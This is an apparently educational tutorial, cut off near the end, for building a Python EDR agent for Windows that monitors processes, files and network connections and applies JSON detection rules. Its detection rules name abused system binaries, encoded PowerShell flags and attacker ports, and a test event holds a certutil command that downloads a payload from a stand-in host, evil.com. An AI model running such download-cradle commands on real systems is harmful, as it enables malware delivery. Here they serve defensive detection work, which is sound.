Build a Mini EDR Agent for Windows

Build a Python EDR agent that monitors processes, files, and network connections.

Introduction

30 Second Summary

Every time your computer blocks a suspicious download or flags a strange program, there is an EDR agent quietly running in the background. These agents watch everything happening on your machine and decide what looks dangerous.

In this project, you will build your own mini EDR (Endpoint Detection and Response) agent in Python that monitors processes, files, and network connections on your Windows machine. Your agent will fire real-time alerts when it detects suspicious activity.

What You'll Build

A Python-based EDR agent that replicates the three core telemetry pillars of commercial endpoint security products: process monitoring, file integrity monitoring, and network connection tracking.

By the end of this project, you'll have:

  • A working EDR agent running on your Windows machine that monitors processes, files, and network connections in real-time.
  • A rule-based detection engine that triggers alerts for suspicious activity like LOLBin execution, startup folder persistence, and encoded PowerShell commands.
  • A clear mental model of how commercial EDR tools (CrowdStrike, Microsoft Defender, Carbon Black) collect and analyze endpoint telemetry.
  • Secret Mission: Add process tree analysis to detect suspicious parent-child relationships like Microsoft Word spawning PowerShell.

Are there any prerequisites?

You should have basic Python knowledge and be comfortable using the command line. No prior security experience is needed.

Before We Start

Before We Start...

Set Up Your Python Environment

Before writing any detection logic, you need a working Python environment with two key libraries installed.

In this step, you will verify Python is ready on your machine, create a dedicated project folder, and install the libraries that give your EDR agent access to process and file system data.

In this step, get ready to:
  • Verify Python is installed and accessible from your terminal.
  • Create a project folder for your EDR agent.
  • Install the psutil and watchdog monitoring libraries.
Verify your Python installation

Your EDR agent requires Python 3.9 or higher. Let's confirm it is installed and accessible from your terminal.

  • Press the Windows key to open your search bar.
  • Type PowerShell and press Enter to open it.
  • Check your Python version by running this command:
python --version

✔️ I see a version number

You should see something like Python 3.11.9 or higher. As long as the number is 3.9 or above, you are good to go.

ⓧ Command not found

If you see an error like 'python' is not recognized, Python is not installed or not added to your PATH.

  • Download Python from python.org/downloads.
  • Run the installer.
  • Check the Add Python to PATH checkbox on the very first screen of the installer.
  • Click Install Now and wait for it to finish.
  • Close and reopen PowerShell, then run python --version again.

Still not recognized after installing?

You may need to manually add Python to your PATH. Search for Environment Variables in Windows search, open it, and add the path to your Python installation (usually C:\Users\YourName\AppData\Local\Programs\Python\Python3xx) to the Path variable.

Help me add Python to my PATH on Windows

Create your project folder and install dependencies

Your EDR agent needs two Python libraries. psutil gives you access to running process data and network connections. watchdog monitors file system changes using Windows' native ReadDirectoryChangesW API.

  • Move to your Desktop by running this command:
cd ~/Desktop
  • Create your project folder and move into it by running these commands:
mkdir mini-edr
cd mini-edr
  • Confirm the folder exists by running:
ls

You should see an empty directory listing. This is your project home.

  • Install the two monitoring libraries by running this command:
pip install psutil==7.2.3 watchdog==6.0.0

What are these libraries?

psutil (process and system utilities) lets your Python code inspect running processes, CPU usage, memory, and network connections. It is what gives your agent "eyes" on the endpoint.

watchdog hooks into Windows' native file system notification API. Instead of repeatedly checking files for changes (polling), it receives instant notifications when files are created, modified, or deleted.

You should see Successfully installed messages for both packages in your terminal output.

Seeing a permissions error?

If you see Access is denied, try running pip install --user psutil==7.2.3 watchdog==6.0.0 instead. The --user flag installs packages to your user directory, which does not require admin privileges.

Help me fix pip permission errors on Windows

Verify everything is working

A quick import test confirms both libraries installed correctly and Python can find them.

  • Verify both libraries are importable by running this command:
python -c "import psutil; import watchdog; print('Ready')"

You should see Ready printed in your terminal. This confirms Python can load both libraries successfully.

Seeing ModuleNotFoundError?

If you see ModuleNotFoundError: No module named 'psutil', the pip that installed the package may be linked to a different Python version than the one you are running.

Try running python -m pip install psutil==7.2.3 watchdog==6.0.0 instead. This ensures pip installs into the same Python that you run with the python command.

Help me fix ModuleNotFoundError after installing with pip

Your environment is ready. Next up, you will build the first module of your EDR agent: a process monitor that detects new programs launching on your system.

Build the Process Monitor

Your Python environment is set up and ready to go. Now it's time to write the first telemetry module for your EDR agent.

Commercial EDR tools like CrowdStrike Falcon constantly watch for new processes appearing on an endpoint. Your process monitor will do the same thing by taking periodic snapshots of all running processes, then comparing those snapshots to find newcomers.

In this step, get ready to:
  • Create a ProcessMonitor class that captures all running processes.
  • Build a snapshot comparison method that detects new process creation.
  • Test the monitor by detecting Notepad opening on your machine.
Create the ProcessMonitor class

The core idea behind process monitoring is simple: take a snapshot of everything running right now, wait, take another snapshot, and compare them. Any PID that appears in the second snapshot but not the first is a newly created process.

Why polling instead of event-driven monitoring?

Windows offers event-driven process monitoring through WMI (Windows Management Instrumentation), but the Python WMI library hasn't been updated since 2020 and adds COM/threading complexity.

Many lightweight EDR agents use polling at short intervals as a practical alternative. The psutil library gives you clean, cross-platform access to process data without the headache.

  • Create a new file called process_monitor.py inside your mini-edr folder. In VS Code, click **File** > **New File**, name it process_monitor.py, and save it in your mini-edr folder.
  • Add the following code to set up the class and its snapshot method:
import psutil
from datetime import datetime


class ProcessMonitor:
    def __init__(self):
        self.known_pids = set()

    def get_process_snapshot(self):
        """Capture current running processes."""
        snapshot = {}
        for proc in psutil.process_iter(
            ["pid", "name", "ppid", "username", "cmdline", "create_time"]
        ):
            try:
                info = proc.info
                snapshot[info["pid"]] = info
            except (psutil.NoSuchProcess, psutil.AccessDenied):
                continue
        return snapshot

What does this code do?

  • psutil.process_iter() loops through every running process on your system and returns the fields you ask for (PID, name, parent PID, username, command line, creation time).
  • The try/except block handles processes that disappear between iteration and access, or system processes that deny permission. This is essential on a live system where processes can exit at any moment.
  • The snapshot is stored as a dictionary keyed by PID, making set comparison fast in the next method.
  • Save process_monitor.py.
  • You won't see output yet. The test block you add in the final substep will exercise this method.

Seeing a red underline on psutil?

Make sure you installed psutil in Step 1 with pip install psutil==7.2.3. If VS Code still shows an import error, check that your editor is using the same Python interpreter where you installed the package. Click the Python version in the bottom-left status bar to select the correct one.

Why can't VS Code find my psutil import?

Add the snapshot comparison method

The snapshot alone tells you what's running right now. To detect new processes, you need to compare two snapshots and find PIDs that only exist in the newer one. Each new PID becomes a structured event with all the details an analyst would need.

  • In process_monitor.py, add the following two methods below get_process_snapshot(), still inside the ProcessMonitor class:
    def detect_new_processes(self, old_snapshot, new_snapshot):
        """Compare snapshots to find newly created processes."""
        new_pids = set(new_snapshot.keys()) - set(old_snapshot.keys())
        new_processes = []

        for pid in new_pids:
            proc_info = new_snapshot[pid]
            event = {
                "timestamp": datetime.now().isoformat(),
                "event_type": "process_creation",
                "pid": pid,
                "name": proc_info.get("name", "unknown"),
                "ppid": proc_info.get("ppid", -1),
                "username": proc_info.get("username", "unknown"),
                "cmdline": " ".join(proc_info.get("cmdline") or []),
            }
            new_processes.append(event)

        return new_processes

    def run_once(self, old_snapshot):
        """Run one monitoring cycle and return new process events."""
        new_snapshot = self.get_process_snapshot()
        events = self.detect_new_processes(old_snapshot, new_snapshot)
        return events, new_snapshot

What does this code do?

  • detect_new_processes() uses set subtraction to find PIDs in the new snapshot that weren't in the old one. For each new PID, it builds a structured event dictionary with the timestamp, process name, parent PID, username, and full command line.
  • run_once() is a convenience method that takes a fresh snapshot, compares it against the old one, and returns both the list of events and the new snapshot (so it becomes the "old" snapshot for the next cycle).
  • The event_type field is set to process_creation. Later, the detection engine will use this field to match events against the right rules.
  • Save process_monitor.py.
  • You won't see output yet. The next substep adds a test block that exercises both methods together.

Indentation errors?

Both methods must be indented one level inside the ProcessMonitor class (4 spaces). If you accidentally paste them at the top level, Python will not recognize them as class methods.

Help me fix indentation in my Python class.

Test the process monitor

Time to prove this works on a live system. You will add a test block that takes a snapshot, waits 5 seconds for you to open Notepad, then takes another snapshot and reports what it found.

  • Add the following test block at the bottom of process_monitor.py, outside the class (no indentation):
if __name__ == "__main__":
    import time

    monitor = ProcessMonitor()
    print("[*] Taking initial process snapshot...")
    snapshot = monitor.get_process_snapshot()
    print(f"[*] Tracking {len(snapshot)} processes. Open a new program now...")
    time.sleep(5)
    events, snapshot = monitor.run_once(snapshot)
    print(f"[*] Detected {len(events)} new processes:")
    for event in events:
        print(f"    - {event['name']} (PID: {event['pid']}, CMD: {event['cmdline'][:60]})")

What does this test block do?

  • if __name__ == "__main__": ensures this code only runs when you execute the file directly, not when it's imported by another module later.
  • It takes an initial snapshot, gives you 5 seconds to open a new program, then calls run_once() to detect any new processes that appeared during that window.
  • Save process_monitor.py.
  • Run the test by executing this command in your terminal:
python process_monitor.py
  • When you see the message Open a new program now..., quickly open Notepad by pressing the Windows key, typing Notepad, and pressing Enter.
  • After 5 seconds, you should see output listing the new processes detected, including notepad.exe with its PID and command line.

What should I see?

Your output will look something like this (PIDs and process counts will differ on your machine):

[*] Taking initial process snapshot...
[*] Tracking 187 processes. Open a new program now...
[*] Detected 3 new processes:
    - notepad.exe (PID: 14520, CMD: "C:\Windows\system32\notepad.exe")
    - SearchProtocolHost.exe (PID: 9812, CMD: )
    - conhost.exe (PID: 7744, CMD: )

You might see additional system processes alongside Notepad. Windows often spawns helper processes in the background. The important thing is that notepad.exe appears in the list.

Detected 0 new processes?

You need to open Notepad within the 5-second window. If you missed it, run the script again and open Notepad faster.

If you see a ModuleNotFoundError for psutil, make sure your terminal is in the same environment where you ran pip install psutil.

My process monitor isn't detecting new processes.

✔️ Awesome, I've got everything!

Great. Double check you've saved process_monitor.py before moving on.

ⓧ I'd like to double check the full code

Here is the complete process_monitor.py file. Make sure yours matches exactly:

import psutil
from datetime import datetime


class ProcessMonitor:
    def __init__(self):
        self.known_pids = set()

    def get_process_snapshot(self):
        """Capture current running processes."""
        snapshot = {}
        for proc in psutil.process_iter(
            ["pid", "name", "ppid", "username", "cmdline", "create_time"]
        ):
            try:
                info = proc.info
                snapshot[info["pid"]] = info
            except (psutil.NoSuchProcess, psutil.AccessDenied):
                continue
        return snapshot

    def detect_new_processes(self, old_snapshot, new_snapshot):
        """Compare snapshots to find newly created processes."""
        new_pids = set(new_snapshot.keys()) - set(old_snapshot.keys())
        new_processes = []

        for pid in new_pids:
            proc_info = new_snapshot[pid]
            event = {
                "timestamp": datetime.now().isoformat(),
                "event_type": "process_creation",
                "pid": pid,
                "name": proc_info.get("name", "unknown"),
                "ppid": proc_info.get("ppid", -1),
                "username": proc_info.get("username", "unknown"),
                "cmdline": " ".join(proc_info.get("cmdline") or []),
            }
            new_processes.append(event)

        return new_processes

    def run_once(self, old_snapshot):
        """Run one monitoring cycle and return new process events."""
        new_snapshot = self.get_process_snapshot()
        events = self.detect_new_processes(old_snapshot, new_snapshot)
        return events, new_snapshot


if __name__ == "__main__":
    import time

    monitor = ProcessMonitor()
    print("[*] Taking initial process snapshot...")
    snapshot = monitor.get_process_snapshot()
    print(f"[*] Tracking {len(snapshot)} processes. Open a new program now...")
    time.sleep(5)
    events, snapshot = monitor.run_once(snapshot)
    print(f"[*] Detected {len(events)} new processes:")
    for event in events:
        print(f"    - {event['name']} (PID: {event['pid']}, CMD: {event['cmdline'][:60]})")

Your process monitor is working. It can detect any new program that starts on your machine. Next up, you will build a file system monitor that watches sensitive directories for suspicious changes in real-time.

Build the File System Monitor

Your process monitor detects new programs launching on the system. The second telemetry pillar of any EDR agent is file integrity monitoring. This tracks when files are created, modified, deleted, or moved in sensitive directories.

In this step, you will build a file monitor that uses Windows' native ReadDirectoryChangesW API through the watchdog library. This is the same underlying mechanism that commercial EDR products use for file system telemetry on Windows.

In this step, get ready to:
  • Create an event handler class that captures file system changes into a thread-safe queue.
  • Build a FileMonitor wrapper that watches multiple directories using watchdog's Observer.
  • Test the monitor by watching your TEMP folder and creating a test file.
Create the EDRFileHandler class

The watchdog library provides a base class called FileSystemEventHandler that fires callback methods whenever the operating system reports a file change. You will extend this class to capture events into a thread-safe queue that other parts of your agent can read from.

  • Create a new file called file_monitor.py inside your mini-edr folder.
  • Add the imports and the EDRFileHandler class by pasting this code:
import queue
from datetime import datetime

from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler


class EDRFileHandler(FileSystemEventHandler):
    def __init__(self, event_queue):
        super().__init__()
        self.event_queue = event_queue

    def on_created(self, event):
        self._record_event("file_created", event.src_path, event.is_directory)

    def on_modified(self, event):
        self._record_event("file_modified", event.src_path, event.is_directory)

    def on_deleted(self, event):
        self._record_event("file_deleted", event.src_path, event.is_directory)

    def on_moved(self, event):
        self._record_event("file_moved", event.src_path, event.is_directory)

    def _record_event(self, event_type, path, is_directory):
        event = {
            "timestamp": datetime.now().isoformat(),
            "event_type": event_type,
            "path": path,
            "is_directory": is_directory,
        }
        self.event_queue.put(event)

What does this code do?

The EDRFileHandler class extends watchdog's base event handler. Whenever Windows reports a file change, watchdog calls the matching method automatically.

  • Each on_created, on_modified, on_deleted, and on_moved method delegates to _record_event() to build a structured event dictionary.
  • Events are pushed into a queue.Queue, which is thread-safe. This matters because watchdog fires events on a background thread, while your main agent loop reads them on a different thread.
  • Save file_monitor.py.

You will not see a change yet. The next chunk adds the FileMonitor class that actually starts the watcher.

Add the FileMonitor wrapper class

The handler knows how to record events, but something needs to tell watchdog which directories to watch. The FileMonitor class manages the Observer and exposes a clean interface for starting, stopping, and draining events.

  • In file_monitor.py, add the FileMonitor class below the EDRFileHandler class:
class FileMonitor:
    def __init__(self, paths_to_watch):
        self.paths_to_watch = paths_to_watch
        self.event_queue = queue.Queue()
        self.observer = Observer()
        self.handler = EDRFileHandler(self.event_queue)

    def start(self):
        """Start watching all configured paths."""
        for path in self.paths_to_watch:
            self.observer.schedule(self.handler, path, recursive=True)
        self.observer.start()

    def stop(self):
        """Stop the file monitor."""
        self.observer.stop()
        self.observer.join()

    def get_events(self):
        """Drain and return all queued file events."""
        events = []
        while not self.event_queue.empty():
            try:
                events.append(self.event_queue.get_nowait())
            except queue.Empty:
                break
        return events

What does this code do?

  • The constructor creates a shared queue, an Observer (watchdog's background thread manager), and an EDRFileHandler wired to that queue.
  • The start() method schedules each path for recursive monitoring, then starts the Observer thread.
  • The get_events() method drains the queue without blocking. Your main agent loop will call this every few seconds to collect whatever file events have accumulated.
  • Save file_monitor.py.

You will not see a visible change yet. The next chunk adds a standalone test so you can run the monitor and confirm it works.

Test the file monitor standalone

Just like your process monitor, this module includes a standalone test block. It watches your Windows TEMP folder and prints any file events it detects.

  • At the bottom of file_monitor.py, add the standalone test block:
if __name__ == "__main__":
    import os
    import time

    temp_path = os.environ.get("TEMP", "C:\\Temp")
    print(f"[*] Watching: {temp_path}")
    print("[*] Create, modify, or delete a file there to see events.")
    print("[*] Press Ctrl+C to stop.\n")

    monitor = FileMonitor([temp_path])
    monitor.start()

    try:
        while True:
            events = monitor.get_events()
            for event in events:
                print(f"    [{event['event_type']}] {event['path']}")
            time.sleep(1)
    except KeyboardInterrupt:
        monitor.stop()
        print("\n[*] Stopped.")

What does this code do?

  • It reads the Windows TEMP environment variable to find your temporary files folder.
  • It starts the FileMonitor on that path, then loops every second, printing any file events it picks up.
  • Pressing Ctrl+C gracefully stops the observer thread before exiting.
  • Save file_monitor.py.
  • Run the file monitor by running this command:
python file_monitor.py

You should see output showing the path being watched and instructions to create a file.

  • Open a second terminal window.
  • Trigger a test event by running this command:
echo test > %TEMP%\test_edr.txt
  • Switch back to your first terminal. You should see [file_created] and [file_modified] events printed with the path to test_edr.txt.
  • Press Ctrl+C in the first terminal to stop the monitor.

Not seeing any events?

  • Make sure you ran the echo command in a separate terminal, not the one running the monitor.
  • Confirm your TEMP environment variable is set by running echo %TEMP% in your second terminal. It should show a path like C:\Users\YourName\AppData\Local\Temp.
  • Check that the watchdog library installed correctly by running pip show watchdog. You should see version 6.0.0.

Help me troubleshoot why my file monitor is not detecting events.

Why watchdog instead of polling?

Your process monitor uses polling (comparing snapshots every few seconds). The file monitor takes a different approach. Watchdog hooks into Windows' native ReadDirectoryChangesW API, which means the operating system pushes events to your code instantly instead of you repeatedly asking "did anything change?"

This is the same mechanism that enterprise EDR agents use for file system telemetry. It catches changes the moment they happen with almost zero CPU overhead.

✔️ Awesome, I've got everything!

Great. Double check you have saved your file before moving on.

ⓧ I'd like to double check the full code

Here is the complete file_monitor.py for comparison.

import queue
from datetime import datetime

from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler


class EDRFileHandler(FileSystemEventHandler):
    def __init__(self, event_queue):
        super().__init__()
        self.event_queue = event_queue

    def on_created(self, event):
        self._record_event("file_created", event.src_path, event.is_directory)

    def on_modified(self, event):
        self._record_event("file_modified", event.src_path, event.is_directory)

    def on_deleted(self, event):
        self._record_event("file_deleted", event.src_path, event.is_directory)

    def on_moved(self, event):
        self._record_event("file_moved", event.src_path, event.is_directory)

    def _record_event(self, event_type, path, is_directory):
        event = {
            "timestamp": datetime.now().isoformat(),
            "event_type": event_type,
            "path": path,
            "is_directory": is_directory,
        }
        self.event_queue.put(event)


class FileMonitor:
    def __init__(self, paths_to_watch):
        self.paths_to_watch = paths_to_watch
        self.event_queue = queue.Queue()
        self.observer = Observer()
        self.handler = EDRFileHandler(self.event_queue)

    def start(self):
        """Start watching all configured paths."""
        for path in self.paths_to_watch:
            self.observer.schedule(self.handler, path, recursive=True)
        self.observer.start()

    def stop(self):
        """Stop the file monitor."""
        self.observer.stop()
        self.observer.join()

    def get_events(self):
        """Drain and return all queued file events."""
        events = []
        while not self.event_queue.empty():
            try:
                events.append(self.event_queue.get_nowait())
            except queue.Empty:
                break
        return events


if __name__ == "__main__":
    import os
    import time

    temp_path = os.environ.get("TEMP", "C:\\Temp")
    print(f"[*] Watching: {temp_path}")
    print("[*] Create, modify, or delete a file there to see events.")
    print("[*] Press Ctrl+C to stop.\n")

    monitor = FileMonitor([temp_path])
    monitor.start()

    try:
        while True:
            events = monitor.get_events()
            for event in events:
                print(f"    [{event['event_type']}] {event['path']}")
            time.sleep(1)
    except KeyboardInterrupt:
        monitor.stop()
        print("\n[*] Stopped.")

Your EDR agent now has two telemetry sources. It can detect new processes launching and files being created or modified in sensitive directories. Next up, you will add network connection tracking and wire everything into a detection engine that fires alerts.

Build the Network Monitor and Detection Engine

Your EDR agent can now see processes starting and files changing. The third telemetry pillar that commercial EDR products collect is network activity. Outbound connections reveal data exfiltration, command-and-control callbacks, and download cradles that file and process monitoring alone would miss.

Telemetry on its own is just noise, though. You need a detection engine that evaluates every event against a set of rules and fires alerts when something matches. In this step, you will build the network monitor, define threat detection rules, and wire up the engine that turns raw telemetry into actionable alerts.

In this step, get ready to:
  • Create a network connection monitor that detects new outbound connections.
  • Define JSON-based detection rules targeting real-world attack techniques.
  • Build a detection engine that evaluates telemetry events against rules and fires alerts.
Create the network monitor

The network monitor follows the same snapshot-comparison pattern as your process monitor. It captures all active TCP connections, waits, then compares to find new ones. For each new connection it also resolves which process owns it, giving you full visibility into what is talking to the internet.

  • Create a new file called network_monitor.py in your mini-edr folder.
  • Add the imports and the NetworkMonitor class by copying this code into the file:
import psutil
from datetime import datetime


class NetworkMonitor:
    def __init__(self):
        pass

    def get_connections_snapshot(self):
        """Get current network connections."""
        connections = []
        for conn in psutil.net_connections(kind="inet"):
            if conn.status in ("ESTABLISHED", "LISTEN"):
                conn_info = {
                    "local_addr": (
                        f"{conn.laddr.ip}:{conn.laddr.port}" if conn.laddr else ""
                    ),
                    "remote_addr": (
                        f"{conn.raddr.ip}:{conn.raddr.port}" if conn.raddr else ""
                    ),
                    "status": conn.status,
                    "pid": conn.pid,
                }
                connections.append(conn_info)
        return connections

    def detect_new_connections(self, old_connections, new_connections):
        """Find new network connections since last check."""
        old_set = {
            (c["local_addr"], c["remote_addr"], c["pid"]) for c in old_connections
        }
        new_events = []

        for conn in new_connections:
            key = (conn["local_addr"], conn["remote_addr"], conn["pid"])
            if key not in old_set and conn["remote_addr"]:
                try:
                    proc_name = (
                        psutil.Process(conn["pid"]).name()
                        if conn["pid"]
                        else "unknown"
                    )
                except (psutil.NoSuchProcess, psutil.AccessDenied):
                    proc_name = "unknown"

                event = {
                    "timestamp": datetime.now().isoformat(),
                    "event_type": "network_connection",
                    "local_addr": conn["local_addr"],
                    "remote_addr": conn["remote_addr"],
                    "status": conn["status"],
                    "pid": conn["pid"],
                    "process_name": proc_name,
                }
                new_events.append(event)

        return new_events

    def run_once(self, old_connections):
        """Run one monitoring cycle."""
        new_connections = self.get_connections_snapshot()
        events = self.detect_new_connections(old_connections, new_connections)
        return events, new_connections

What does this code do?

The NetworkMonitor class has three methods that mirror the snapshot-compare pattern you used for processes.

  • get_connections_snapshot() calls psutil.net_connections(kind="inet") to get all IPv4/IPv6 TCP connections, filtering to only ESTABLISHED and LISTEN states.
  • detect_new_connections() builds a set of known connections from the old snapshot, then checks each current connection against it. New connections get enriched with the owning process name via psutil.Process(pid).name().
  • run_once() wraps both methods into a single monitoring cycle, returning events and the updated snapshot.

You will not see output yet. The next chunk adds a test script to verify the monitor works.

  • Add the following test block at the bottom of network_monitor.py, below the class:
if __name__ == "__main__":
    import time

    monitor = NetworkMonitor()
    print("[*] Taking initial network snapshot...")
    connections = monitor.get_connections_snapshot()
    print(f"[*] Tracking {len(connections)} active connections.")
    print("[*] Open a browser or run a network command to see new connections.")
    print("[*] Press Ctrl+C to stop.\n")

    try:
        while True:
            events, connections = monitor.run_once(connections)
            for event in events:
                print(
                    f"    [NEW CONN] {event['process_name']} -> "
                    f"{event['remote_addr']} ({event['status']})"
                )
            time.sleep(2)
    except KeyboardInterrupt:
        print("\n[*] Stopped.")

What does the test block do?

This test takes an initial snapshot of your connections, then polls every 2 seconds for new ones. When you open a browser tab or make any network request, the monitor prints the process name, remote address, and connection status.

  • Save network_monitor.py.
  • Test the monitor by running this command (use an Administrator terminal for full visibility):
python network_monitor.py
  • Open a new browser tab or run any network command in a separate terminal window.
  • You should see lines like [NEW CONN] chrome.exe -> 142.250.80.46:443 (ESTABLISHED) appearing.
  • Press Ctrl+C to stop the monitor.

Run as Administrator for full results

psutil.net_connections() requires elevated privileges on Windows to see connections from all processes. Without admin, you will only see connections belonging to your current user. The monitor still works, but you will see fewer results.

Not seeing any new connections?

  • Make sure you open a browser tab AFTER the monitor prints its initial snapshot count. Connections that already exist when the monitor starts are part of the baseline.
  • If you see an AccessDenied error, right-click your terminal and select Run as administrator.

Why aren't my network connections showing up?

✔️ Awesome, I've got everything!

Great. Make sure you have saved network_monitor.py before moving on.

ⓧ I'd like to double check the full code

import psutil
from datetime import datetime


class NetworkMonitor:
    def __init__(self):
        pass

    def get_connections_snapshot(self):
        """Get current network connections."""
        connections = []
        for conn in psutil.net_connections(kind="inet"):
            if conn.status in ("ESTABLISHED", "LISTEN"):
                conn_info = {
                    "local_addr": (
                        f"{conn.laddr.ip}:{conn.laddr.port}" if conn.laddr else ""
                    ),
                    "remote_addr": (
                        f"{conn.raddr.ip}:{conn.raddr.port}" if conn.raddr else ""
                    ),
                    "status": conn.status,
                    "pid": conn.pid,
                }
                connections.append(conn_info)
        return connections

    def detect_new_connections(self, old_connections, new_connections):
        """Find new network connections since last check."""
        old_set = {
            (c["local_addr"], c["remote_addr"], c["pid"]) for c in old_connections
        }
        new_events = []

        for conn in new_connections:
            key = (conn["local_addr"], conn["remote_addr"], conn["pid"])
            if key not in old_set and conn["remote_addr"]:
                try:
                    proc_name = (
                        psutil.Process(conn["pid"]).name()
                        if conn["pid"]
                        else "unknown"
                    )
                except (psutil.NoSuchProcess, psutil.AccessDenied):
                    proc_name = "unknown"

                event = {
                    "timestamp": datetime.now().isoformat(),
                    "event_type": "network_connection",
                    "local_addr": conn["local_addr"],
                    "remote_addr": conn["remote_addr"],
                    "status": conn["status"],
                    "pid": conn["pid"],
                    "process_name": proc_name,
                }
                new_events.append(event)

        return new_events

    def run_once(self, old_connections):
        """Run one monitoring cycle."""
        new_connections = self.get_connections_snapshot()
        events = self.detect_new_connections(old_connections, new_connections)
        return events, new_connections


if __name__ == "__main__":
    import time

    monitor = NetworkMonitor()
    print("[*] Taking initial network snapshot...")
    connections = monitor.get_connections_snapshot()
    print(f"[*] Tracking {len(connections)} active connections.")
    print("[*] Open a browser or run a network command to see new connections.")
    print("[*] Press Ctrl+C to stop.\n")

    try:
        while True:
            events, connections = monitor.run_once(connections)
            for event in events:
                print(
                    f"    [NEW CONN] {event['process_name']} -> "
                    f"{event['remote_addr']} ({event['status']})"
                )
            time.sleep(2)
    except KeyboardInterrupt:
        print("\n[*] Stopped.")
Define the detection rules

Raw telemetry only becomes useful when you can match it against known threat patterns. Your detection engine will load its rules from a JSON file, making it easy to add new rules without changing code. Each rule targets a specific MITRE ATT&CK technique that real-world malware uses.

  • Create a new file called rules.json in your mini-edr folder.
  • Add the five detection rules by copying this JSON into the file:
{
    "rules": [
        {
            "name": "Suspicious Process - LOLBin Execution",
            "event_type": "process_creation",
            "severity": "high",
            "description": "Detected execution of a commonly abused Windows binary (LOLBin)",
            "conditions": {
                "name": ["certutil.exe", "mshta.exe", "regsvr32.exe", "wscript.exe", "cscript.exe"]
            }
        },
        {
            "name": "Suspicious Process - PowerShell with Encoded Command",
            "event_type": "process_creation",
            "severity": "critical",
            "description": "PowerShell launched with encoded command - common malware technique",
            "conditions": {
                "name": ["powershell.exe"],
                "cmdline": ["-enc", "-encodedcommand", "frombase64"]
            }
        },
        {
            "name": "File Created in Startup Folder",
            "event_type": "file_created",
            "severity": "high",
            "description": "New file created in Windows startup folder - possible persistence mechanism",
            "conditions": {
                "path": ["startup"]
            }
        },
        {
            "name": "Suspicious Network Port",
            "event_type": "network_connection",
            "severity": "medium",
            "description": "Connection to commonly used attacker port detected",
            "conditions": {
                "remote_addr": [":4444", ":5555", ":8888", ":1234"]
            }
        },
        {
            "name": "System Binary Making Network Connection",
            "event_type": "network_connection",
            "severity": "high",
            "description": "Windows system utility making outbound connection - possible data exfiltration",
            "conditions": {
                "process_name": ["certutil.exe", "bitsadmin.exe", "mshta.exe"]
            }
        }
    ]
}

What do these rules detect?

  • LOLBin Execution catches Windows binaries like certutil.exe that attackers abuse to download payloads or execute code.
  • Encoded PowerShell flags the -enc flag, which malware uses to hide commands in base64.
  • Startup Folder detects files dropped into the Windows Startup directory for persistence across reboots.
  • Suspicious Ports catches connections to default Metasploit/netcat ports (4444, 5555, etc.).
  • System Binary Network flags when utilities like certutil.exe make outbound connections, indicating download cradles.
  • Save rules.json.

You will not see output from this file directly. The detection engine you build next will load and use these rules.

Watch out for trailing commas

JSON does not allow trailing commas after the last item in an array or object. If you see a json.decoder.JSONDecodeError later, check that the last item in each array and the last property in each object has no comma after it.

✔️ Awesome, I've got everything!

Great. Make sure you have saved rules.json before moving on.

ⓧ I'd like to double check the full code

{
    "rules": [
        {
            "name": "Suspicious Process - LOLBin Execution",
            "event_type": "process_creation",
            "severity": "high",
            "description": "Detected execution of a commonly abused Windows binary (LOLBin)",
            "conditions": {
                "name": ["certutil.exe", "mshta.exe", "regsvr32.exe", "wscript.exe", "cscript.exe"]
            }
        },
        {
            "name": "Suspicious Process - PowerShell with Encoded Command",
            "event_type": "process_creation",
            "severity": "critical",
            "description": "PowerShell launched with encoded command - common malware technique",
            "conditions": {
                "name": ["powershell.exe"],
                "cmdline": ["-enc", "-encodedcommand", "frombase64"]
            }
        },
        {
            "name": "File Created in Startup Folder",
            "event_type": "file_created",
            "severity": "high",
            "description": "New file created in Windows startup folder - possible persistence mechanism",
            "conditions": {
                "path": ["startup"]
            }
        },
        {
            "name": "Suspicious Network Port",
            "event_type": "network_connection",
            "severity": "medium",
            "description": "Connection to commonly used attacker port detected",
            "conditions": {
                "remote_addr": [":4444", ":5555", ":8888", ":1234"]
            }
        },
        {
            "name": "System Binary Making Network Connection",
            "event_type": "network_connection",
            "severity": "high",
            "description": "Windows system utility making outbound connection - possible data exfiltration",
            "conditions": {
                "process_name": ["certutil.exe", "bitsadmin.exe", "mshta.exe"]
            }
        }
    ]
}
Create the detection engine

The detection engine is the brain of your EDR agent. It loads your JSON rules, receives telemetry events from any monitor, and checks each event against every rule using case-insensitive pattern matching. When a match is found, it produces a structured alert.

  • Create a new file called detection_engine.py in your mini-edr folder.
  • Add the imports and the DetectionEngine class by copying this code into the file:
import json
from datetime import datetime


class DetectionEngine:
    def __init__(self, rules_file):
        with open(rules_file, "r") as f:
            self.rules = json.load(f)

    def evaluate(self, event):
        """Evaluate an event against all rules. Returns list of alerts."""
        alerts = []
        event_type = event.get("event_type", "")

        for rule in self.rules.get("rules", []):
            if rule["event_type"] != event_type:
                continue

            if self._matches_rule(event, rule):
                alert = {
                    "timestamp": datetime.now().isoformat(),
                    "rule_name": rule["name"],
                    "severity": rule["severity"],
                    "description": rule["description"],
                    "event": event,
                }
                alerts.append(alert)

        return alerts

    def _matches_rule(self, event, rule):
        """Check if an event matches a rule's conditions."""
        conditions = rule.get("conditions", {})

        for field, pattern in conditions.items():
            value = str(event.get(field, "")).lower()
            if isinstance(pattern, list):
                if not any(p.lower() in value for p in pattern):
                    return False
            else:
                if pattern.lower() not in value:
                    return False

        return True

What does this code do?

  • __init__ loads the rules JSON file once at startup, making rule updates as simple as editing the file.
  • evaluate() loops through all rules, skipping any whose event_type does not match the incoming event. Matching rules produce an alert dictionary with the rule name, severity, description, and the original event data.
  • _matches_rule() does the actual field comparison. If a condition value is a list, it checks whether ANY item in the list appears in the event field (case-insensitive). All conditions must match for the rule to fire.

You will not see output yet. The next chunk adds a test that fires a sample event through the engine.

  • Add the following test block at the bottom of detection_engine.py, below the class:
if __name__ == "__main__":
    engine = DetectionEngine("rules.json")
    print(f"[*] Loaded {len(engine.rules.get('rules', []))} detection rules:")
    for rule in engine.rules.get("rules", []):
        print(f"    - [{rule['severity'].upper()}] {rule['name']}")

    print("\n[*] Testing with a sample event...")
    test_event = {
        "event_type": "process_creation",
        "name": "certutil.exe",
        "pid": 1234,
        "ppid": 5678,
        "username": "testuser",
        "cmdline": "certutil.exe -urlcache -f http://evil.com/payload.exe",
    }
    alerts = engine.evaluate(test_event)
    if alerts:
        for alert in alerts:
            print(f"    [ALERT] {alert['rule_name']} - {alert['severity']}")
    else:
        print("    No alerts triggered.")

What does the test block do?

